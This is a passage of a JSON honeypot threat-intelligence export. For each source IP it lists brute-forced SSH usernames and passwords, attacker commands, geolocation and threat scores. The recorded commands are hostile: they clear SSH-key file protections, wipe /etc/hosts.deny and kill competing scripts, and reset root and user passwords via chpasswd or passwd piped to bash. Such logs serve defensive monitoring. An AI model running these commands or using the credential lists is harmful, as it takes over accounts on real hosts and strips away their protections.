        "ABC-123",
        "Support2026@",
        "Test-1234",
        "admintemp",
        "alvaro123",
        "lwidc!@#",
        "mima1234",
        "mit123",
        "peace",
        "qweasdzxc1",
        "qwer!234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6HLvCZMyeGMn\"|chpasswd|bash",
        "echo \"root:AWV6sJATqQGB\"|chpasswd|bash",
        "echo \"root:r4WHHivX1FdS\"|chpasswd|bash",
        "echo \"root:ycSUBglKFRUr\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T20:42:30.290000+00:00",
        "last_seen_30d": "2026-04-01T21:44:25.082000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 67
      }
    },
    "103.103.245.7": {
      "attack_count": 329,
      "first_seen": "2026-04-17T08:06:51.782Z",
      "last_seen": "2026-04-17T09:36:50.714Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "zhangsan",
        "admin",
        "demo",
        "deploy",
        "ftp1user",
        "git",
        "media",
        "nodered",
        "s",
        "teamspeak",
        "test1",
        "user",
        "vyatta"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "123",
        "12345",
        "123456789",
        "1234567890Qwertyuiop",
        "1QAZ2wsx!",
        "Qazwsx12345!@#",
        "QweAsdZxc",
        "Root11111@123",
        "Root123321@",
        "Ss123456",
        "Teamspeak!@",
        "XXaa112233",
        "brian123",
        "ftp1user",
        "git!2025",
        "media",
        "nodered"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\ng2Flq3jCLa8K\\ng2Flq3jCLa8K\\n\"|passwd",
        "echo \"root:CbicgPqdZyqY\"|chpasswd|bash",
        "echo \"root:PfvF3wplCRCL\"|chpasswd|bash",
        "echo -e \"123\\ng2Flq3jCLa8K\\ng2Flq3jCLa8K\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 404,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T08:06:51.782000+00:00",
        "last_seen_30d": "2026-04-17T09:37:57.773000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 329,
        "Suricata": 75
      }
    },
    "132.145.122.251": {
      "attack_count": 286,
      "first_seen": "2026-04-20T21:15:09.606Z",
      "last_seen": "2026-04-20T22:17:00.667Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "claude",
        "db_user",
        "devops",
        "git",
        "luz",
        "onkar",
        "oracle",
        "plexuser",
        "test",
        "test01",
        "ubuntu",
        "vikas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1q@",
        "7777",
        "Claude30!",
        "Dq@123456",
        "Oracle24",
        "Qwerty2026",
        "db_user",
        "deploy123456789",
        "devops@2025",
        "luz",
        "onkar123",
        "password123456",
        "plexuser",
        "qweASD123",
        "root123#$",
        "test123",
        "vikas@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"deploy123456789\\nwrvjpqgSK4VR\\nwrvjpqgSK4VR\\n\"|passwd",
        "echo \"root:pJtOFlpXjzH0\"|chpasswd|bash",
        "echo \"vikas@123\\nngWXrJ8bArSH\\nngWXrJ8bArSH\\n\"|passwd",
        "echo -e \"deploy123456789\\nwrvjpqgSK4VR\\nwrvjpqgSK4VR\"|passwd|bash",
        "echo -e \"vikas@123\\nngWXrJ8bArSH\\nngWXrJ8bArSH\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Inzai",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T21:15:09.606000+00:00",
        "last_seen_30d": "2026-04-20T22:18:03.095000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 55
      }
    },
    "103.171.69.91": {
      "attack_count": 266,
      "first_seen": "2026-04-28T23:01:39.240Z",
      "last_seen": "2026-04-28T23:41:03.688Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "guest",
        "test3",
        "testuser",
        "user",
        "ali",
        "appadmin",
        "botuser",
        "mumbleserver",
        "sftpuser",
        "test",
        "test1",
        "test5",
        "wwwuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123123",
        "1234qwer",
        "123qwe456",
        "222",
        "P@ssw0rd3",
        "abc123@",
        "admin",
        "administrateur",
        "ali@123",
        "appadmin123",
        "botuser",
        "live",
        "motorola",
        "mumbleserver",
        "password",
        "qwert123",
        "qwert12345"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234qwer\\nRnKAS95VJOkb\\nRnKAS95VJOkb\\n\"|passwd",
        "echo \"admin\\nqFiqMsorWXwR\\nqFiqMsorWXwR\\n\"|passwd",
        "echo -e \"1234qwer\\nRnKAS95VJOkb\\nRnKAS95VJOkb\"|passwd|bash",
        "echo -e \"admin\\nqFiqMsorWXwR\\nqFiqMsorWXwR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 333,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T23:01:39.240000+00:00",
        "last_seen_30d": "2026-04-28T23:42:12.848000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 266,
        "Suricata": 67
      }
    },
    "93.39.209.147": {
      "attack_count": 262,
      "first_seen": "2026-04-11T11:28:55.556Z",
      "last_seen": "2026-04-11T12:07:11.965Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "qa",
        "admin",
        "allinone",
        "david",
        "dev",
        "frappe",
        "git",
        "odoo8",
        "omega",
        "publicuser",
        "sammy",
        "server",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2wsx3edc$RFV",
        "66666",
        "Frappe1",
        "Hello123",
        "Hf123456",
        "P@ssw0rd!!",
        "QQaa111",
        "QWERTYUIOP1",
        "Qazwsx2025!@#",
        "Root22!",
        "Server!@#$",
        "admin17",
        "allinone",
        "asdf1234",
        "david@123",
        "dev321",
        "odoo8",
        "omega123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qa\\nmO6NFMTlVSAG\\nmO6NFMTlVSAG\\n\"|passwd",
        "echo \"root:yG3NzXwYQEQd\"|chpasswd|bash",
        "echo -e \"qa\\nmO6NFMTlVSAG\\nmO6NFMTlVSAG\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 12874,
      "as_org": "Fastweb",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T11:28:55.556000+00:00",
        "last_seen_30d": "2026-04-11T12:08:17.890000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 65
      }
    },
    "190.129.122.185": {
      "attack_count": 261,
      "first_seen": "2026-04-04T15:36:59.758Z",
      "last_seen": "2026-04-04T16:39:12.441Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "azureuser",
        "deploy",
        "admin",
        "deployer",
        "devuser",
        "guest",
        "teamcity",
        "teste",
        "tobias",
        "user",
        "vps",
        "wyk",
        "yuxiang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "121212",
        "123456",
        "Abcd8888",
        "Admin24",
        "Changeme!",
        "Devuser@2025",
        "Frappe04!",
        "Linux123!@#",
        "Root123!",
        "User05",
        "ZAQ!2wsx4321!",
        "ali24!",
        "azureuser123!",
        "ccBB111",
        "changeme",
        "frappe9",
        "guest123",
        "root123456!@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ali24!\\nmBznAo37EkSW\\nmBznAo37EkSW\\n\"|passwd",
        "echo \"azureuser123!\\nO7vbOsCmeaEU\\nO7vbOsCmeaEU\\n\"|passwd",
        "echo -e \"ali24!\\nmBznAo37EkSW\\nmBznAo37EkSW\"|passwd|bash",
        "echo -e \"azureuser123!\\nO7vbOsCmeaEU\\nO7vbOsCmeaEU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Cochabamba",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T15:36:59.758000+00:00",
        "last_seen_30d": "2026-04-04T16:40:18.677000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 70
      }
    },
    "49.205.149.96": {
      "attack_count": 256,
      "first_seen": "2026-04-23T08:58:10.934Z",
      "last_seen": "2026-04-23T09:30:39.254Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1234",
        "ali",
        "ubuntu",
        "esunny",
        "itadmin",
        "n8n",
        "server",
        "test",
        "test111",
        "test2"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123456Kk",
        "123ASDF",
        "123qqq...",
        "2wsx3edc@@",
        "@Admin2026",
        "Bb112233",
        "Changeme123",
        "Letmein!@#",
        "N8n04",
        "P@ssw0rd",
        "PAssw0rd",
        "Sw123123",
        "ZAQ!2wsx2025!!",
        "admin1234",
        "ali07!",
        "q1w2e3r4t5"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"admin1234\\nMH1J3dzTQAdt\\nMH1J3dzTQAdt\\n\"|passwd",
        "echo \"root:IhVApGOzXvSN\"|chpasswd|bash",
        "echo -e \"admin1234\\nMH1J3dzTQAdt\\nMH1J3dzTQAdt\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 319,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T08:58:10.934000+00:00",
        "last_seen_30d": "2026-04-23T09:31:46.742000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 256,
        "Suricata": 63
      }
    },
    "159.223.94.24": {
      "attack_count": 236,
      "first_seen": "2026-04-01T11:32:11.539Z",
      "last_seen": "2026-04-01T12:46:18.560Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%QWERT",
        "123456$",
        "123456@aa",
        "123qwe.com",
        "1qaz@wsx#",
        "708090",
        "Admin010",
        "Daniel2025!",
        "P@ssw)rd",
        "Password123456789",
        "asdfg123!@#",
        "exchange",
        "inter123",
        "jx@123",
        "love06",
        "majid123",
        "meghana",
        "rhbcnbyf"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:uelNyrlWbV3O\"|chpasswd|bash",
        "echo \"root:zWvb16SP7IPk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 77.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T11:32:11.539000+00:00",
        "last_seen_30d": "2026-04-28T09:34:21.459000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 75,
        "Honeytrap": 16
      }
    },
    "202.145.0.61": {
      "attack_count": 219,
      "first_seen": "2026-04-30T06:37:19.015Z",
      "last_seen": "2026-04-30T07:14:39.689Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "user22",
        "345gs5662d34",
        "appadmin",
        "backupuser",
        "bf1942server",
        "deploy",
        "dev",
        "develop",
        "developer3",
        "es",
        "ftp_user",
        "git",
        "guest4",
        "kafka",
        "postgres",
        "test",
        "test1"
      ],
      "passwords_attempted": [
        "12345678",
        "000000",
        "123",
        "1234",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456789",
        "QWERasdf1234",
        "Qwerty",
        "S3curity",
        "Ubuntu@2025",
        "Welcome@123",
        "admin1234%",
        "admin@2021",
        "adminpass",
        "backupuser",
        "bf1942server",
        "dev2021"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"user22\\nPbLiUG20T2mh\\nPbLiUG20T2mh\\n\"|passwd",
        "echo -e \"user22\\nPbLiUG20T2mh\\nPbLiUG20T2mh\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 17884,
      "as_org": "PT. Uninet Media Sakti ISP",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:37:19.015000+00:00",
        "last_seen_30d": "2026-04-30T07:15:45.018000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "198.98.62.211": {
      "attack_count": 218,
      "first_seen": "2026-04-28T23:34:11.059Z",
      "last_seen": "2026-04-28T23:58:30.759Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "dev",
        "testwww",
        "345gs5662d34",
        "admin123",
        "admin2",
        "administrator",
        "afcadmin",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hduser",
        "minecraft",
        "postgres",
        "serv",
        "server",
        "testa",
        "tests"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "00000000",
        "1",
        "123456789",
        "123456aaa",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "54321",
        "88888888",
        "A1234567a",
        "P@ssw0rd!",
        "P@ssw0rd123",
        "abc123.",
        "admin",
        "admin123",
        "afcadmin",
        "debian",
        "dev12345678"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\n7cgmcoIvaqHJ\\n7cgmcoIvaqHJ\\n\"|passwd",
        "echo -e \"123456\\n7cgmcoIvaqHJ\\n7cgmcoIvaqHJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 287,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T23:34:11.059000+00:00",
        "last_seen_30d": "2026-04-28T23:59:38.962000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 69
      }
    },
    "160.251.22.197": {
      "attack_count": 211,
      "first_seen": "2026-04-01T11:29:05.846Z",
      "last_seen": "2026-04-01T12:31:18.339Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%QWERT",
        "123456@aa",
        "123qwe.com",
        "708090",
        "Admin010",
        "Daniel2025!",
        "asdfg123!@#",
        "inter123",
        "jx@123",
        "love06",
        "majid123",
        "meghana",
        "rhbcnbyf",
        "ruijie",
        "ym123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:OJedNdqpnICK\"|chpasswd|bash",
        "echo \"root:ghusgjvF62cY\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
